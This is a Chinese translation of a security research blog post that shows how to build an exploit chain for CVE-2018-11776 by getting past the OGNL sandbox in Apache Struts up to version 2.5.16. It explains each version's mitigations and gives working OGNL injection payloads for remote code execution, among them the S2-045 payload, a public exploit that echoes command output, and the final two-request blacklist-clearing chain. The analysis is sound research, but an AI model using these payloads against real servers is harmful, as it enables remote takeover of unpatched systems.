作爲武器的CVE-2018-11776:繞過Apache Struts 2.5.16 OGNL 沙箱

翻譯自:https://lgtm.com/blog/apache_struts_CVE-2018-11776-exploit
翻譯:聶心明

這篇文章我將介紹如何去構建CVE-2018-11776的利用鏈。首先我將介紹各種緩解措施,這些措施是Struts 安全團隊爲了限制OGNL 的能力而設置的,並且我也會介紹繞過這些措施的技術。我將重點介紹SecurityMemberAccess 類的一般改進,這個類就像一個安全管理系統,它決定OGNL 能做什麼,也會限制OGNL 的執行環境。我將忽略很多特殊組件的特殊的措施,例如ParametersInterceptor類中改進了白名單機制。

在Struts中利用OGNL 的簡短歷史

在介紹CVE-2018-11776之前,我先說明一些背景並且介紹一些概念以幫助理解OGNL利用過程。我將利用TextArea中的 double evaluation bug說明利用過程,因爲TextArea 可以更方便的顯示OGNL(可能這是一種特性)。首先我來介紹一些OGNL的基本概念。

OGNL 執行環境

在Struts的中,OGNL可以使用#符號訪問全局對象。這個文檔 主要介紹那些可以被訪問的對象。那裏會有一個對象列表,其中有兩個對象對於構建exp非常關鍵。首先是 _memberAccess,這個對象在SecurityMemberAccess對象中被用來控制OGNL 行爲,並且另一些是context,這些context map可用訪問更多的其他的對象。這對於漏洞的利用非常有用。你可以通過 _memberAccess非常容易的修改SecurityMemberAccess 的安全設置。比如,許多容易的利用開始於:

#_memberAccess['allowStaticMethodAccess']=true

通過_memberAccess修改完設置後,就可以執行下面代碼

@java.lang.Runtime@getRuntime().exec('xcalc')

彈出了計算器

SecurityMemberAccess

上面那一節已經解釋過,Struts 通過_memberAccess去控制OGNL所能執行的東西。最初,使用一個Boolean 變量(allowPrivateAccess, allowProtectedAccess, allowPackageProtectedAccess and allowStaticMethodAccess)去控制OGNL所能訪問的方法和Java類成員對象。默認情況下,所有的設置都是false。在最近的版本中,有三個黑名單(excludedClasses, excludedPackageNames 和 excludedPackageNamePatterns)被用來禁用一些特殊的類和包。

沒有靜態函數,但是允許使用構造函數(在2.3.20之前)

但是默認情況下,_memberAccess被配置用來阻止訪問靜態,私有和保護函數。可是,在2.3.14.1之前,它可以更容易通過 #_memberAccess繞過並且改變這些設置。許多exp就是用到了這一點,比如 :

(#_memberAccess['allowStaticMethodAccess']=true).(@java.lang.Runtime@getRuntime().exec('xcalc'))

image
在2.3.14.1和更新的版本,allowStaticMethodAccess已經沒有用了並且已經沒法再修改了。可是,依然可以通過_memberAccess使用類的構造函數並且訪問公共函數,實際上沒有必要改變_memberAccess中的任何設置來執行任意代碼

(#p=new java.lang.ProcessBuilder('xcalc')).(#p.start())

這個方法一直到2.3.20這個版本爲止
image

沒有靜態方法,沒有構造函數,但是允許直接訪問類 ( 2.3.20-2.3.29 )

在2.3.20,在一些類中引入了黑名單excludedClasses, excludedPackageNames 和 excludedPackageNamePatterns。另外一些重要的改變是阻止了所有構造函數的調用。這就不能用ProcessBuilder這個payload。從這一點來看,靜態函數和構造函數都沒有權限去調用了,這對於OGNL 有相當強的限制。可是,_memberAccess仍然可以訪問而且還可以做更多的東西。還有靜態對象 DefaultMemberAccess 可以訪問。默認情況下,在SecurityMemberAccess類中的DefaultMemberAccess 也是很脆弱的版本,它可以訪問靜態函數和構造函數。所以,很簡單,直接用DefaultMemberAccess替換 _memberAccess的值

(#[email protected]@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('xcalc'))

這種方法一直到2.3.29之前都可以用,並且這種技巧依然是最近exp中常常使用到的

image

有限的類訪問和_memberAccess都被禁止了(2.3.30/2.5.2+)

最後, _memberAccess沒有用了,所以上面說到的一些小技巧也沒有用了。更重要的是,ognl類,MemberAccess和ognl.DefaultMemberAccess也被加入了黑名單,怎樣去繞過他們呢?讓我們看看S2-045的payload

(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))

注意到的第一件事是,這個exp沒有試圖訪問_memberAccess。代替它的是,它試圖獲得 OgnlUtil的實例,並且清理了所有的黑名單。所有它是怎麼工作的?這個exp首先從 context map中獲得一個 Container ,這個map中包含下面的keys:
image
在OGNL執行環境中 com.opensymphony.xwork2.ActionContext.container這個keys給我一個 Container實例。
image
這個實例方法試圖創建一個OgnlUtil實例,但是因爲它是一個單例模式。它返回一個存在的全局對象實例。
image
看看在全局對象OgnlUtil中excludedClasses 是怎麼被關聯到 _memberAccess對象的,讓我們看看_memberAccess怎樣被初始化的。
當請求到來的時候,一個ActionContext對象被createActionContext方法創建。

最後,OgnlValueStack 的setOgnlUtil函數被調用,以用來初始化OgnlValueStack 的securityMemberAccess ,這樣就獲得OgnlUtil的全局實例

我們從下面的圖看到,securityMemberAccess(在最後一行)和_memberAccess(第一行)是一樣的。

這就意味着全局OgnlUtil 實例都共享相同的SET:excludedClasses, excludedPackageNames 和 excludedPackageNamePatterns作爲_memberAccess,所以清除這些之後也會清除與_memberAccess相匹配的SET。
在那之後,OGNL 就可以自由的訪問DEFAULT_MEMBER_ACCESS對象並且 OgnlContextsetMemberAccess 代替了 _memberAccess和DEFAULT_MEMBER_ACCESS,這樣就可以執行任意代碼了

繞過2.5.16

我將解釋怎樣繞過2.5.16中的限制和 CVE-2018-11776。讓我們看看官方披露漏洞兩天之後公開的一個exp。這是一個不同的版本,但他們大致是這樣的:

${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='xcalc').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

看過上一節的讀者應該能夠發現至少兩個原因,爲什麼這個exp不能工作在2.5.16,並且確定這個exp在哪個版本中不能用(小提示:2.5.x的一個版本),這個實際上是一個好消息,讓人們有足夠的時間升級自己的服務器並且也希望能防止大規模的攻擊發生。

現在讓我們構建一個實際可行的exp

我們已經瞭解了OGNL的緩解措施,自然是利用最新的那個漏洞,就像下面那樣:

(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))

但是在2.5.16這個版本中卻不能成功,原因是廠商添加了很多其他的限制。首先,在 2.5.13 中context被移除,還有 excludedClasses 也是一樣。在2.5.10之後,黑名單變成了immutable

解釋一下,在 2.5.13這個版之後,context 這個全局變量就不能再使用了,所以第一步是尋找context的替代方案。讓我們看看有哪些是可用的( https://cwiki.apache.org/confluence/display/WW/OGNL )。我會按照字母表的順一個個去嘗試,讓我們看看attr。

在struts的值中,valueStack 脫穎而出,OgnlValueStack 是它的類型。如果我想回到OGNL使用 context map,那麼OgnlValueStack 這個類型似乎是一個很好的候選者。的確,有一些方法可用調用 getContext ,結果它確實按照我們的想法給了我們一個 context map,所以我們修改前面的exp:

(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))

但,這個exp還是不能運行,因爲excludedClasses 和excludedPackageNames是不可改變的:

不幸的是,黑名單不是一成不變的,因爲你可以通過 setters 改變。

(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames('')).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))

可是,這個exp還是不行,因爲ognlUtil中excludedClasses這個set被清除了。

但是_memberAccess中沒有被清除

這是因爲當在ognlUtil中設置excludedClasses,它會分配excludedClasses 到一個空的集合而不是通過_memberAccess和ognlUtil去修改集合的引用。所以這個改變僅僅影響了ognlUtil,而沒有影響_memberAccess。這樣,我們現在重新發送我們的payload:

這是怎麼回事?記住,_memberAccess 是一個短暫的對象,當每個請求到來的時候ActionContext 會創建這個對象。每次新的ActionContext 會被createActionContext方法創建, setOgnlUtil方法被調用,目的是用excludedClasses, excludedPackageNames去創建_memberAccess。黑名單來自全局的ognlUtil。所以,通過重新發送請求,新創建的_memberAccess將清空其黑名單中類和包,這樣就允許我們執行我們的代碼。整理這些payload,我最後得到兩個payloads,第一個是清空excludedClasses 和 excludedPackageNames的黑名單。

(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))

第二個是解除_memberAccess並且執行任意代碼

(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))

一個接一個的發送這些payload,可以讓我通過CVE-2018-11776執行任意代碼。

感謝 Kevin Backhouse,這裏提供了一個完全可用的CVE-2018-11776的poc,最高可攻擊2.5.16這個版本。並且從頭構建了一個dockers鏡像,目的是搞清楚exp起作用的版本到底是哪個。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章